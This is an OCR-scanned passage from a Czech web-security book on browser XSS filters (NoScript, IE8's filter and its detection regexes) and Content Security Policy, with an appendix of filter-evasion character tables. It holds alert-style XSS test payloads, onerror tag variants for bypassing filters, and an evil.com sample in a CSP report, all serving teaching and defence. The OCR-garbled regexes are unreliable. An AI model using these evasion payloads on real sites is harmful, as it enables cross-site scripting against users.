Mnoho uzivateld se domniva, ze s vypnutou podporou JavaScriptu
a ostatnich potencidlné nebezpecnych prvkd ve svém browseru, jsou proti
XSS chranéni. To je samoziejmé pravda, ale jen Castecné. I nadale totiz
budou tito uzivatelé ohrozovani Gtoky typu CSRF nebo HTML injection.

A jak se ma situace na strané samotnych webovych prohlizec¢a?
Celou knihou nas provazely informace, Ze nekterych zranitelnosti je mozné
zneuzit pouze s vyuzitim prohlizece Internet Explorer do verze 6 véetné. Da
se Tici, ze tyto starSi verze prohlizecd, které umoznovaly naptiklad vlozeni
skriptu do zdroje obrazku, protoze nerespektovaly hlavicku content-type,
byly pro uzivatele vylozené nebezpecné. Od sedmé verze téchto prohlizeci,
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kdy doslo k napravé této a mnoha dalsich chyb, se stal jiz tento prohlize¢
implementuje XSS Filter, o kterém si jesté povime néco vice, jej lze
povazovat za pomérné bezpecny. Stejné, jako Microsoft neustale
zdokonaluje sviij Internet Explorer, jsou neustale zdokonalovany také ostatni
webové prohlizece. Sviij XSS filter tak predstavil i relativné novy prohlize¢
Google Chrome. Prvni kdo vSak s myslenkou podobného filtru pfisel byl
prohlize¢ FireFox se svym dopliikem NoScript. Pfes vSechny nedostatky
téchto filtra jde ur€ité o krok spravnym smérem. Po vychytani much, které
tyto filtry bohuZel zatim maji, je mozné, Ze se brzy se zneuzivanim XSS
nebudeme stietavat v tak obrovské mife jako dnes. Zkusime se nyni na XSS
filtry dvou nejrozsifenéjsich prohlizect podivat blize.

NoScript

NoScript je dopInék pro prohlize¢ FireFox, ktery je k dispozici jiz
hezkou tadku let, béhem kterych se stale vyviji a zdokonaluje. Pivodné byl
uréen pouze k blokovani JavaScriptu na webovych strankach. Dnes
umoznuje blokovat veskery obsah, ktery by mohl byt potencidlné
nebezpecny. Zablokovat tak mizete kromé samotného JavaScriptu i Javu,
Flash, Microsoft Silverlight nebo prvky frame a iframe. Spusténi dopliiku je
signalizovano drobnou ikonou pod niz se ukryva bohaté menu s nastavenim.

1@ Webowy vyhledavat - Mozilla Firefox “
Soubor Upravy Zobrazeni Historie Zaloiky Nastroje Napovéda
- D % ;’ =[] hittp:/fwww.hackingvprax.cz/search.phg 77 - | |
|| Webovy vyhleddvaé + -

Webovy vyhledavad

Pro hledanou frézi nebyly nalezeny #4dné vsledky.

j i O rozsifeni NoScript
Zadej hledanou fiézi- Hieds) rozsiteni NoScrip

Mastaveni...

L4

4 JavaScript celkové povolit (nebezpeené)

S) Povolit pro celou stranku

Sy Temporarily aliow ali this page
@ Recently blocked sites 3
© Nedivéryhodné 3

t S) Povolit hackinguprasi.cz

$Y Doéasné povolit hackingvpraxicz

Hotovo # @ TorDisabled i‘fj )
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Samotné filtrovani obsahu muze byt realizovano na zakladé
blacklistu nebo whitelistu. Dopln€k tedy musite nejprve "naudit", jak se ma
na kterém webu chovat. Zda na ném bude pouziti nékterych prvki povoleno
nebo naopak zakazano. Kromé samotné blokace potencialné nebezpeénych
prvku ale doplnék NoScript disponuje také XSS filtrem, ktery pro detekci
utoku kombinuje regularni vyrazy a nativni HTML parser. Pro omezeni
falesnych poplacht jsou pouzita rizna pravidla ptedavani skripti v odkazech
v ramci domény a mimo ni. NoScript ptistupuje k deaktivaci skripti
ponékud odlisnym zptisobem nez IE. Mame-li napiiklad odkaz:

http://www.hackingvpraxi.cz/search.php?dotaz=<script>alert(/XSS/);</script>

budou v ném nahrazeny otevirajici ostré zavorky a dalsi
potencialné nebezpené znaky mezerami jiz pfed odeslanim pozadavku. Filtr
implementovany v IE 8 nahrazuje nékteré znaky az ve chvili, kdy se objevi
v odpovédi serveru. NoScript tak zméni vysSe uvedeny odkaz na tento tvar:

http://www.hackingvpraxi.cz/search.php?dotaz= script>ALERT /XSS/ ;
/script>#49926193600262625843

Oproti XSS filtrim, které jsou integrovany v ostatnich
prohlizecich pfimo, maji uzivatelé¢ FireFoxu moznost volby, zda si doplnék
NoScript nainstaluji, nebo sdhnou po né€jakém jiném produktu. Toto je ale
vzhledem k nizké informovanosti béznych uzivatelti dosti nestastné feSeni.
Uzivatelé pak Casto zadnou z téchto ochran nezavadi a zlstavaji vici XSS
utokiim nechranéni. Soucasné se doplnék NoScript miize béznému uZivateli
zdat pon¢kud komplikovany na nastaveni a pii prvotnim provozu i nadmiru
naro¢ny. Nejdiive je totiz nutné NoScript naudit, které domény povazujeme
za bezpecéné, a které nikoliv.

Nastaveni NoScript ==
Obecné | Vyjimky | Embedded Objects| Zobrazeni | Oznament | Pokrodile

Tato nastaveni se projevi u nové otevienych nebo (manuing) aktualizovanych strankach
| Nedivéryhodné | S) Diveryhodne s | 2 HTTPs | & ABE | Extemal Fiters

XSS - Zasto kladené otazky
Zajistit podezielé plvodce pozadavku
Prevést potadavky POST napiié strénkou na poiadavky GET necbsahuici data
| Ochrana proti XSS - vyjimky

Cile vyhovujici témte regulamim vyrazim NEBUDOU CHRANENY proti X5
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IE XSS Filter

Ve chvili, kdy zacalo byt jasné, Ze zneuzivani XSS zranitelnosti je
natolik rozSifené, Ze na Internetu piedstavuje Casovanou bombu, pfiSel
Microsoft po vzoru doplitku NoScript s nidpadem ochranit uZivatele pied
touto zranitelnosti také vlastnimi silami. Je ziejmé, Ze spravné by se
0 zabezpeceni svych aplikaci méli postarat jejich vyvojafi, nicméné na
nezabezpecené aplikace doplaci hlavé koncovi uzivatelé. Protoze se situace
na poli webovych aplikaci béhem dlouhé doby piili§ nelepsila, ba naopak,
sahl Microsoft k tomuto feSeni, ve kterém se snazi odfiltrovat a nahradit
veskeré nebezpecné vstupy v odesilanych pozadavcich. Celkem obstojné se
mu tak XSS filtrem podafilo ochranit uzivatele pfed zakladnimi non-
perzistentimi utoky. ProtoZe se v souasné dob& jednd asi o nejvétsiho
nepiitele uto¢nikl zneuzivajicich XSS, nebude od véci si jej popsat detailné.

XSS filter implementovany v Internet Exploreru od verze 8 je
zaméfen pouze na utoky typu non-persistent. To znamend, Ze samotnému
zobrazeni dokumentu s obsaZzenym skriptem musi ptedchazet GET nebo
POST pozadavek, ktery tento vlozeny skript obsahuje ve svych parametrech.
Princip XSS filtru je pfi tom velice jednoduchy. Kazdy pozadavek odesilany
prostiednictvim Internet Exploreru je nejprve proveten, zda se jednd
0 pozadavek na HTML data a zda je pozadovany dokument umistén v jiné
nez aktudlni doméné. Pokud se jednd o pozadavek z jiné domény a je
vyzadovan HTML dokument, jsou provéteny vSechny parametry pozadavku
pomoci regularnich vyrazi. Ke v§em pozitivnim naleztim naznacujicim XSS
utok je interné ulozen zaznam v podobé regularniho vyrazu, ktery se po
obdrZeni odpovédi od serveru pouzije pro porovnani obsahu vraceného
dokumentu. Pokud se v jeho obsahu vyskytnou fetézce odpovidajici
ulozenému vyrazu, které v pozadavku vyhodnotily nékteré parametry jako
nebezpecné, dojde u nich k nahrazeni nékterych znakt znakem # tak, aby se
vlozené skripty deaktivovaly. Uzivatel je o této skuteCnosti nasledné
informovan pomoci informaéniho fadku viz. screenshot. Cely popsany
pribéh se da znazornit také pomoci diagramu, ktery naleznete dale v této
kapitole.
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Vezmeme- i si za piiklad na§ vyhledavac a pouzijeme k XSS tutoku URL:
http://www.hackingvpraxi.cz/search.php?dotaz=<script>alert(/XSS/);</script>,
dojde ze strany XSS filtru k ndhradé znaku r v tagu <script>. Do
zobrazeného dokumentu bude po provéfeni XSS filtrem nakonec vlozen
tento neskodny kod: <sc#ipt>alert(/XSS/);</script> Timto zptisobem jsou
oSetfeny vSechny potencialné nebezpecné tetézce z tabulky 54.

Tabulka 54 - Body zdjmu IE XSS Filteru

Textové retézce
javascript:, vbscript:
HTML tagy

object, applet, base, link, meta, import, embed, vmlframe, iframe, script,
style, isindex, form

HTML atributy

" datasrc, " style =, " on* = (atributy udalosti
JavaScriptové retézce
";location=, ";a.b=, ");a(, ";a(b)

Po zvetejnéni prvni verze XSS filtru se ukazalo, Ze vybér znak, které jsou
v dokumentu po rozpoznani utoku nahrazeny, je velmi dulezity. Microsoft
totiz svou prvni verzi nahrazoval v nékterych ptipadech i znak rovna se =,
¢ehoz bylo zneuzito ke spusténi skripti také na zabezpecenych webovych
strankdach, které by bez nahrazeni tohoto znaku XSS ttok neumoznily. Blizsi
informace o tomto problému muzete ziskat v dokumentu Abusing Internet
Explorer 8's XSS Filter".

Jednotlivé regularni vyrazy, které v pozadavcich hledaji znadmky
XSS utoku, si uvedeme v nasledujicim vypisu. Je jich celkem 23 a jsou
uloZeny v souboru mshtml.dll.

Vypis 231 - Reguldrni vyrazy detekujici pokus o utok v IE XSS Filteru

(v (&[# ONI\].1x20*((86) | (56) | (118) | (76));?)) ([\ED | (&[# O \I\].1x20* (9] (13

)1 (

) IAID) ;2)) * (bl (&[#()\I\]1.1x20* ((66) | (42) | (98) | (62));?)) ([\t]]| &[ )\[\] 1x?

0* (9] (13) | (10) IAID) ;2))*(s| (&[# O \[\].1x20*((83)](53) | (115)|(73)) (I\t] ] (&

[#()\[\]-]X?O*(9\(l3)\(10)\A\D):?))*(C\(&[#()\[\]-]X?O*((67)\(43)\(99)\(63)),

([\t]\(&[#( \[\] 1x20* (91 (13) | (10) |AID) ;2)) *{ (r| (&[# () \[\].1x20*((82) | (52)

| (114) | (72) ) FCINED | (& [# O NI\ 1x20% (9] (13) | (10) |A[D) ;2)) * (L] (&[# ONI\].]Ix

?0*((73)\(49)\(105)\(69));?))([\t]\(&[#()\[\].]X?O*(9\(13)\(10)\A\D) 2))*(pl(

&[# ONI\].1x20*((80) | (50) | (112) | (70));2)) ([\t] [ (&[#()\NI\].1x20* (9] (13)](10) |A

ID);2)) *(t| (&[#()\I\].1x20*((84) | (54) | (116) | (74));?)) ([\t]| (&[# (O \I\].]1x20*(9
I (13) 1 (10) IAID) ;?))* (2] (&[# ONI\].]

x?0* ((58) | (3R8)):?)) .}

L http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf
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(31 (&[#ONI\].1x20*% ((74) | (4A) | (106) | (6R));?)) ([\t] #ONIN] X°0*(9\(13)\(
10) [AID);?)) *(al (&[#()\[\] X”O*((65)\(41)\(97)\(61)),°))( [\t] ININD . Ix?
0*(9|(13)|(10)|A|D),°))*(VI(&[#()\[\] ]X”O*((86)\(56)\(118)\(76)) ”))([\t]\(&
[#(NIN].1x20* (9] (13) | (10) [AID);?))*(al (&[#()\[\].1x20*((65) | (41) | (97) | (61));
2)) (INE] 1 (&[# ONI\T.1x20% (91 (13) | (10) [A[D);?))*(s| (&[# () \[\].]x20*((83)](53) |
(115)|(73)):°))([\t]\(&[#()\[\] ]X”O*(9\(13)\(10)\A\D),°))*(C\(&[#()\[\] 1x20

*((67)1(43)1(99)1(63));2)) ([NET I (&[#(ONIN\]. ]X°0*(9\(13)\(10)\A\D),°))*((r\(&[
#ONI\].1x20* ((82) | (52) | (114) | (72));2)) } ([\t] #ONIN] X°0*( [ (13) ] (10) |A]
D);2))* (il (&[#(O)\NI\] x°0*((73)\(49)\(105)\(69)),°))( \t #ONIN].1x20% (9

(13)|(10)|A|D),°))*(p|(&[#()\[\] ]X°0*((80)\(50)\(112)\(70)),°))([\t]\( [# 0\
[\].1x20% (9] (13) | (10) [AID);2))* (t] (&[#()\N[\].1x20*((84) | (54)[(116)|(74));?)) (
[\t]l(&[#()\[\].]X?O*(9I(13)I(10)IAID),°))*(:I (&[# O NI\ .1x20* ((58) | (3R));7?)

-}

{<st{y}le.*?>.*2 ((Q[i\\]

(L (&[#()\I\].1x20* ((58) | (3A) | (61)](3D));?)).*?
(CAONT (& #ONINT - ]x”O*(( 0) | I (9

=1l
(28) 2)\(5C)),°)))))

{0 /7+\t\"\'"Ist{y}lel

JHNEIF?=%2 ([=] | (&[# O N[\].1x20* ((58) | (3A) | (61)|(3D));?)) . *2(LONTI(&l# NI\
1.1x20%((40) | (28) ] (92)](5C)):?))}

{<OB{J}ECT[ /+\t].*?((type) | (codetype) | (classid) | (code) | (data))[ /+\t]*=}
{<AP{P}LET[ /+\t].*2code[ /+\t]*=}

{[ /+\t\"\' ldata{s}trc[ +\t]*?=.}

{<BA{S}E[ /+\t].*?href[ /+\t]*=}

{<LI{N}K[ /+\t].*?href[ /+\t]*=}

{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}

{<\?im{plort[ /+\t].*?implementation[ /+\t]*=}

{<EM{B}ED[ /+\t].*?SRC.*?=}

([ /+\t\"\""T{o}n\c\c\c+? [ +\t]l*?=.}

{<.*[:]lvmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}

{<[i]2f{r}tame.*?[ /+\t]*2?src[ /+\t]l*=}

{<is{i}ndex[ /+\t>1}

{<fo{r}m.*?>}

{<sc{r}ipt.*?[ /+\tl*?src[ /+\t]*=}

{<sc{r}ipt.*2>}

(IN"N'TD 1*((["a-z0-9~_:\"\"

1) 1 (dn)) - *2 (((1] (\\u006C)) (o] (\\u006F)) ({c} | (\\u00{6}3)) (al (\\u0061)) (t| (\\uo
074)) (i] (\\u0069)) (ol (\\u006F)) (n| (\\u006E))) | ((n| (\\u006E)) (a| (\\u0061)) ({m}
| (\\u00{6}D)) (el (\\u0065)))) .*2=}

{IN"NTID 1% ((["a=20=9~_:\"'"\" 1) | (in)) .+2(({[.1}.+2) [ ({IN[1}.*2{[\]]}.*2))=}
CIN"N"T.*2{\) }[ 1*(([*a-20-9~_ :\"\" 1) | (in)) .+2{\(}}

(IN"N'TL 1% (([7a-2z0-9~_:\"\" 1) [ (in)) .+2{\ (}.*2{\) }}
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Mnoho z t&chto regularnich vyrazii bylo prolomeno a byly
zvetejnény postupy, kterymi je mozné tyto filtry obejit. K dispozici je
napiiklad dokument Universal XSS via IE8s XSS Filters', ktery nékteré
pristupy popisuje.

Pokud byste chtéli XSS Filter vypnout na strané klienta béhem
testovani XSS utokti nebo z jakéhokoliv jiného divodu, mizete tak ucinit
V nastaveni zabezpeceni Internet Exploreru.

Security Settings - Intemet Zone [

Settings

ebsites to prompt for information using seripted wind:
Disable
Enable

ipting of Java applets
Disable
Enchle
© Prompt
52, User Authentcation
82, Logon

e nn
m

4

“Takes effect after you restart Intemet Explorer

Reset custom settings

Resetto: [ eium-high (default) v [ Resetu. |

e Lo |

Vyvojaii, kteti cht&ji pouziti XSS filtru v Internet Exploreru
vypnout pomoci webové aplikace, tak mohou uéinit pomoci HTTP hlavicky

X-XSS-Protection: 0

Této hlavicky mize ovSem vyuzit také utocnik, pokud pouzije
HTTP response splitting k injektazi HTTP hlavicek.

IE XSS filter rozhodné nezabrani vSem XSS utokiim a ani to
v soucasné dobé neni jeho cilem. Filtrovany tak nejsou napiiklad HTTP
hlavi¢ky jako je referer, apd. Pomoci tohoto filtru neni mozné odfiltrovat ani
kod JavaScriptu, ktery je v dokumentu injektovan dovniti legitimniho tagu
<script>, a ktery se spousti jako jeho souéast. Filtr nepokryva persistentni
typy utokd a jiné tizce zaméiené varianty utokd. Béhem testovani jsem si
také v§iml, ze dochazi ke spusténi injektovaného skriptu napiiklad ve chvili,
kdy prochazime historii vzat a vpfed. Mnoho 1toku je také mozné spoustét
v ramci jedné domény, ¢ehoz se da vyuzit vloZzenim nakazeného odkazu do
diskuze ve stejné doméng, jejiz XSS zranitelnost je odkazem atakovana.

L http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf
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Content Security Policy

Z predchoziho textu jasné vyplynulo, Ze ochrana pred utoky XSS
spociva ve spravném oSetfeni vystupti ze strany vyvojait webovych
aplikaci. Mohou ale vyvojafi ochranit uzivatele i v pfipadé, ze nékteré
zranitelné misto piehlédli? Také jsme si fekli, Ze uZivatelé maji k dispozici
nastroje, které je dokazi pred XSS c¢astecné ochranit. Tyto nastroje ovSem
nedokazi vzdy jednoznacné urcit, zda je obsazeny skript legitimni soucasti
webové stranky, nebo zda byl injektovan uto¢nikem.

Uz pted mnoha lety se proto nektefi lidé zacali zabyvat otazkou
rozliSovani piivodu vkladaného obsahu, aby webovy prohlize¢ nemusel tapat
ve tm¢ a dokazal rozlisit, zda je vlozeny obsah legitimni nebo ne. Diky
takovym autoritam, jako jsou Rsnake, Gerv nebo Jeremiah Grossman, vnikl
nakonec koncept nového nastroje v boji proti XSS, kterym je bezpecnostni
politika Content Security Policy.”.

Pouziti Content Security Policy umoZiiuje vyvojaiim webovych
aplikaci jasné definovat zdroje dat importovanych do obsahu webové stanky
a zabranit tak injektazi jakéhokoliv jiného nez povoleného obsahu. Aby
mohl byt tento nastroj v boji proti Cross-Site Scriptingu skuteéné G¢inny,
zavadi defaultni omezeni pro webové aplikace, které uvadim v tabulce 55.

Tabulka 55 - Defaultni omezeni Content Security Policy

Jsou zakazany veSkeré skripty vkladané tagem <script> p¥imo do obsahu HTML
dokumentu. <script>alert (1)</script>

Je zakazano pouziti pseudoprotokolu javascript:

<a href="javascript:bad stuff()">

Je zakazano definovani ovladadu udalosti pfimo u jednotlivych prvka HTML
<a onclick="bad stuff()">

Jsou zakdzany funkce eval(), setTimeout() a setInterval() s pf¥imo obsaZenym
kédem setTimeout ("evil string...", 1000)

Je zakdzéano pouziti kontrusktoru

new function var f = new Function("evil string...")

Je zakazano pouziti data: URIs jako zdroje dat pro jiné neZ povolené prvky
<img src="data:image/jpg,...">

Je zakdzano pouziti XBL bindings pro jiné protokoly neZ chrome: nebo
resource: napf. -moz-bindings pro navazani CSS stylua

Bezpecnostni politikou jsou naopak povoleny =zapisy, které
odpovidaji tabulce 56.

! https://dvcs.w3.org/hg/content-security-policy/raw-file/bcflc45f312f/csp-unofficial -
draft-20110303.html



https://dvcs.w3.org/hg/content-security-policy/raw-file/bcf1c45f312f/csp-unofficial-draft-20110303.html
https://dvcs.w3.org/hg/content-security-policy/raw-file/bcf1c45f312f/csp-unofficial-draft-20110303.html
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Tabulka 56 - Defaultné povolené tvary pouziti v Content Security Policy

Naditani scriptl z externich souborli. Jejich konkrétni umisténi p¥itom ale
musi byt tvircem aplikace explicitné povoleno pomoci CSP

OSetteni uddlosti definovani jejich posluchacl

addEventListener ("click", function (), false);

Funkce setTimeout a setInterval mohou ale spousStét funkce

setTimeout (myFunc, 1000)

Funkce mohou byt deklarovany pomoci fuk&nich operatorl

function f() { some_code } nebo var f = function() { some code }

Podpora CSP musi byt implementovana jednak v samotné webové
aplikaci, ale také ve webovych prohlizedich. Aplikace kromé toho, Ze
dodrzuje povolené a zakazané tvary v zapisu kodu, musi také webovému
prohlizedi explicitné fici, ze predavany dokument je chranén restrikcemi
CSP. Tuto informaci mize aplikace browseru predat dvéma zpusoby. HTTP
hlavickou:

X-Content-Security-Policy:

nebo v pfipadé Report only modu, o kterém si povime za chvili, HTTP
hlavi¢kou:

X-Content-Security-Policy-Report-Only:

Nemame-li k dispozici moznost odesilat HTTP hlavi¢ky pfimo, mizeme
vyuzit druhé moznosti, ktera spociva v predavani informace o pouziti CSP
prostfednictvim meta-tagu. Ten musi byt podle navrhu specifikace prvnim
prvkem tohoto typu v hlaviéce dokumentu. Do Firefoxu ale nakonec
podpora tohoto meta-tagu nebyla z bezpeénostnich divodi implementovana.
Uvidime, zda ji budou podporovat ostatni prohlizece, az tuto politiku za¢nou
také podporovat.

<meta http-equiv="X-Content-Security-Policy">
<meta http-equiv="X-Content-Security-Policy-Report-Only">

V ptipadé pouziti obou uvedenych variant souc¢asné, ma HTTP
hlavicka ptednost pfed tagem <meta>.

Direktivy bezpe€nostni politiky CSP

Rekli jsme si, e bezpetnostni politika CSP v defaultnim nastaveni
zakazuje pouziti nékterych HTML konstrukei, které by jinak mohly vést ke
spusténi kodu. Vlastné ma v tomto defaultnim nastaveni webovy prohlize¢
zakédzano jakékoliv spusténi kodu, a je na tvirci aplikace, aby browseru
explicitné sdélit, co je povoleno. V pfipadé JavaScriptu musi tento byt
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umistén v externim souboru a do HTML kdédu musi byt nacitan z tohoto
externiho zdroje. Vyvojaf pak jiZ jen uvede, ze kterych zdrojii mohou byt
externi skripty nacitany. Diky tomu neni mozné, aby ttoénik injektoval do
HTML kédu své skripty. Musel by totiz do stranky nejprve injektovat odkaz
na externi soubor s JavaScriptem a nasledn¢ by musel jesté né&jakym
zpuisobem tento soubor uploadovat na server, ktery je uveden v povolenych
zdrojich. Pro toto explicitni vyjmenovani povolenych zdroju slouzi v CSP
rizné direktivy, jejichz seznam uvadim v tabulce 57.

Tabulka 57 - Direktivy Content Security Policy

default-src (allow)

Definuje zdroje, které mohou byt defaultné pouZity pro vSechny prvky
script-src

Definuje zdroje, ze kterych mohou byt naditany externi skripty <script>
img-src

Definuje zdroje, ze kterych mohou byt naditany externi obrazky

<img>, <link rel="icon">

media-src

Definuje zdroje, ze kterych mohou byt nac¢itadny externi media <audio>, <video>
object-src

Definuje zdroje, ze kterych mohou byt nac¢itany externi objekty

<object>, <embed>, <applet>

frame-src

Definuje zdroje, ze kterych miZe byt naditdn obsah <iframe>

font-src

Definuje zdroje, ze kterych miZe byt na¢itan font pro CSS @font-face

xhr-src

Definuje lokace, na které mohou byt zasiladny AJAX pozadavky XMLHttpRequest
frame-ancestors

Definuje cile, které mohou obsah chranéného dokumentu vloZit do svého obsahu.
(Ochrana proti clickjackingu) <frame>, <iframe>, <object>

style-src

Definuje zdroje, ze kterych miZe byt nacitdn stylopis <link rel="stylesheet">
report-uri

Definuje URI, kterym bude zasilan report

policy-uri

Defunuje URI na které se nachdzi soubor s pravidly pro CSP

options

Definuje modifikace nékterych zakladnich restrikci CSP:
disable-xss-protection Povoli pouziti vloZenych skriptd a javascript: URIs
eval-script Povoli pouziti kéda ve funkcich eval(), setTimer(), setInterval()
a konstruktor new Function

Format uvadénych zdroji v CSP

U jednotlivych direktiv se pak vzdy zapisuje seznam zdrojl, ze
kterych je mozné data pro dané prvky nacitat. Varianty, kterych je mozné
pro zapis zdroju pouzit, uvadi tabulka 58.
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Tabulka 58 - Zptsob zdpisu povolych zdroji ‘

Uvedenim hosta

Protokol (volitelné&) nap¥. http://, ftp://

Hostname miZe pouzit také zastupny znak napf. .website.cz nebo *.website.cz

Cislo portu (volitelné) napf¥. .website.cz:443

Uvedenim kli¢ového slova

'self' - ukazuje na stejného hostitele (protokol, hostname, port

'none' - ukazuje na prazdnou mnozinu (vSechny zdroje zakazany)
(uzavreni v apostrofech je nutné)

data:

Povoluje pouziti pseudoprotokolu data: pro definované typy dat

napf. img-src data:

Priklady definice CSP

Pro lepsi pochopeni si uvedeme dva piiklady nastaveni politiky
CSP, které sta¢i odeslat jako response HTTP hlavi¢ku. Chceme-li povolit
nacitani cehokoliv ze stejného hostitele, ze kterého pochazi samotny
chranény dokument, zajistime to hlavi¢kou z vypisu 232.

Vypis 232 - Priklad nastaveni CSP

X-Content-Security-Policy: default-src 'self'

Pokud bychom chtéli povolit naditani cehokoliv ze stejného
hostitele, ale k tomu povolit naéitani obrazka odkudkoliv, objektd také
zdomén medial.com nebo media2.com a skriptd také z hosta
userscripts.example.com, zajistili bychom to hlavi¢kou z vypisu 233.

Vypis 233 - Priklad nastaveni CSP

X-Content-Security-Policy: default-src 'self'; img-src *; object-src
medial.com media2.com; script-src userscripts.example.com

V piipadé, ze jsou bezpecnostni pravidla nacitand z externiho
souboru vyuzitim direktivy policy-uri, pak tento musi pochazet ze stejné
domény a musi byt pfedavan jako MIME typ Content-Type text/x-content-
security-policy.
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Reportovani pokusu o naruseni

Kromé samotného blokovani zdrojt, které nepochdzi z umisténi
definovanych v bezpecnostni politice, muze byt spravce webové aplikace
také informovan pii pokusu o naruSeni integrity HTML dokumentu zaslanim
reportu. Staci, aby byla v politice pouzita direktiva report-uri, kterd definuje
jednu nebo vice lokaci, na kterou budou tyto reporty prohlize¢em odeslany.
Reporty jsou odesilany HTTP metodou POST jako JSON objekt s Content-
type application/json a mohou byt odesilany pouze v ramci stejného hosta,
ze kterého pochazi chranény dokument. Browser navic nesmi nasledovat
presmérovani 3xx pfi odesilani reportu.

Report, ktery odesle webovy prohlize¢ ve chvili, kdy v HTML
kédu narazi na pokus o nacteni dat ze zdroje, ktery neni vyjmenovan
Vv bezpe¢nostni politice, obsahuje informace z tabulky 59.

Tabulka 59 - Zptsob zdpisu povolych zdroju

request request line HTTP poZadavku

request-headers hlavi¢ky HTTP poZadavku

blocked-uri zablokované URI z néhoZ mélo dojit k nacdteni dat
violated-directive direktiva CSP, kterd se o zablokovani postarala
original-policy zdroj bezpecénostni politiky

Ve vypisu 234 si muzete prohlédnout piiklad reportu, ktery
webovy prohlize¢ v ptipadé¢ zjisténého poruseni definovanych pravidel CSP
odesila webové aplikaci.

Vypis 234 - Prklad reportu zaslaného CSP

{
"csp-report":
{
"request": "GET http://index.html HTTP/1.1",
"request-headers": "Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac 0OS X 10.5; en-US;)
Gecko/20100601 Minefield/3.7a5pre
Accept: text/html,application/xml;g=0.9,*/*;9=0.8
Accept-Language: en-us,en;g=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: IS0O-8859-1,utf-8;9=0.7,*;9=0.7
Keep-Alive: 115
Connection: keep-alive",
"blocked-uri": "http://evil.com/some_image.png",
"violated-directive": "img-src 'self'",
"original-policy": "allow 'none'; img-src *"
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Z uvedenych informaci by mélo byt patrné, Zze CSP skutené
dokaze zabranit jakémukoliv propaSovani skripti do obsahu HTML
dokumentu a to jak v jeho perzistentni, tak i v non-perzistentni podobé. Pti

musel nejprve ziskat kontrolu nad seznamem povolenych zdroja.

V soucasné dobé je Content Security Policy podporovano pouze ve
Firefoxu od jeho verze 4. Ur¢ité se ale jedna o krok spravnym smérem, ktery
by dokézal jednou provzdy vymytit zneuzivani XSS na webu. V&fm proto,
ze brzy dojde k jeho standardizaci a $irSimu roz§ifeni.

Doporucuji vam, abyste na tuto bezpecnostni politiku mysleli pii
tvorbé webovych aplikaci jiz nyni. Budete-li se totiz fidit principy, na
kterych je postavena, vyhnete se tim pozdéjSimu piepisovani aplikace do
spravné podoby. Nic vam navic nebrani ani v tom, abyste ve své aplikaci
zavedli plnou podporu CSP jiz nyni. Webové prohlizeCe, které CSP
nepodporuji, budou uvedené hlavicky jednoduse ignorovat. Uzivatelé
Firefoxu vam navic mohou pomoci reporti o naruSeni pomoci s nalezenim
slabé zabezpecenych mist. Miizete je pak 1épe oSetfit pro ty uzivatele, ktefi
pouzivaji webové browsery bez podpory CSP.
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Priloha A

Pouziti specialnich

znaku

Moznost pouziti nékterych znakti na riznych mistech HTML tagu.

s s

Znak ukoncujici tag/atribut

<img src=x onerror=alert (1) %znak%

Internet Explorer
5.0-8.0

=111

Opera 9 — 10a

Musi byt uvedena ukoncéovaci lomend zavorka >.
Bez ni jsou tagy renderovany jako prosty text.

@

Firefox 2.0.0.18

8, 9, 10, 11, 12, 13, 32, 59, 125, 160,
8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199,
8200, 8201, 8202, 8203, 8232, 8233, 12288, 65279
65534

8, 9, 10, 11, 12, 13, 32, 59, 160, 8192, 8193,

8203, 8232, 8233, 12288, 65279, 65534

Safari 4 528.16

Firefox 3.0.8 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201,
8202, 8203, 8232, 8233, 12288, 65279, 65534
Chrome 9, 10, 11, 12, 13, 32, 59, 160, 5760, 6158, 8192
1.0.154.53 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200,
8201, 8202, 8232, 8233, 8239, 8287, 12288, 65279,
Chrome 65534
2.0.172.8
8, 9, 10, 11, 12, 13, 14, 32, 59, 160, 8192, 8193,
Safari 3.1.2 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202,

9, 10, 11, 12, 13, 32, 44, 59, 160, 5760, 6158,
8192, 8193, 8195, 8196, 8197, 8198, 8199, 8200,
8201, 8202, 8203, 8232, 8233, 8239, 12288, 65279




Pouziti specialnich znaku

267

Znak predchazejici nazev tagu

<%$znak%img src=x onerror=alert (1l)>

Internet Explorer
6.0.2900.2180

- Internet Explorer 0, 60
8.0.6001.18702
0 Opera 10.01
o
@_ Firefox
@ Chrome 60
@ Safari 3.1.2

Priklad: <\0img src=x onerror=alert (1)>

Znak mezi nazvem tagu a atributu

<img%znak$%$src=x onerror=alert (1l)>

Internet Explorer
6.0.2900.2180

@ 9, 10, 11, 12, 13, 32, 47
- Internet Explorer

8.0.6001.18702
0 Opera 10.01 9, 10, 12, 13, 32
ey
l@_ Firefox 3.0.8 9, 10, 13, 32, 47
@ Safari 4 528.16 9, 10, 11, 12, 13, 32

Priklad: <img/src=x onerror=alert (1)>
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Znak predchazejici nazev atributu

<img src=x %znak%onerror=alert (1)>

Internet Explorer
6.0.2900.2180

,l'e Internet Explorer 0 9 10, 11, 12, 13, 32, 47
7.0.5730.13 n ! ! ! ! !

Internet Explorer
8.0.6001.18702

O Opera 10.01 9, 10, 12, 13, 32
—
@ Firefox 3.0.8 9, 10, 13, 32, 34, 47
Chrome
1.0.154.53
Chrome
9, 10, 11, 12, 13, 32, 34, 47
2.0.172.8

Safari 4 528.16

® 9

Priklad: <img "src=x /onerror=alert (1)>

Znak mezi faleSnym a skute¢nym nazvem atributu

<img src=x aaa%znak%onerror=alert (1)>

O Opera 10.01 9, 10, 12, 13, 32
=
@‘ Firefox 3.0.8 5, 10, 13, 32, 34, 39, 47
Chrome
@ 1.0.154.53
ggri;nzeg 9, 10, 11, 12, 13, 32, 47
@ Safari 4 528.16

Priklad: <img src=x aaa"onerror=alert (l)>
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<img src=x onerror%$znak

Znak pfimo nasledujici nazev atributu

%$=alert (1)>

Internet Explorer

Safari 4 528.16

P 7.0.5730.13
g o, 9, 10, 11, 12, 13, 32
- Internet Explorer

8.0.6001.18702
O Opera 10.01 9, 10, 12, 13, 32
—n
@_ Firefox 3.0.8 9, 10, 13, 32

Chrome

2.0.172.8

o, 9, 10, 11, 12, 13, 32, 47

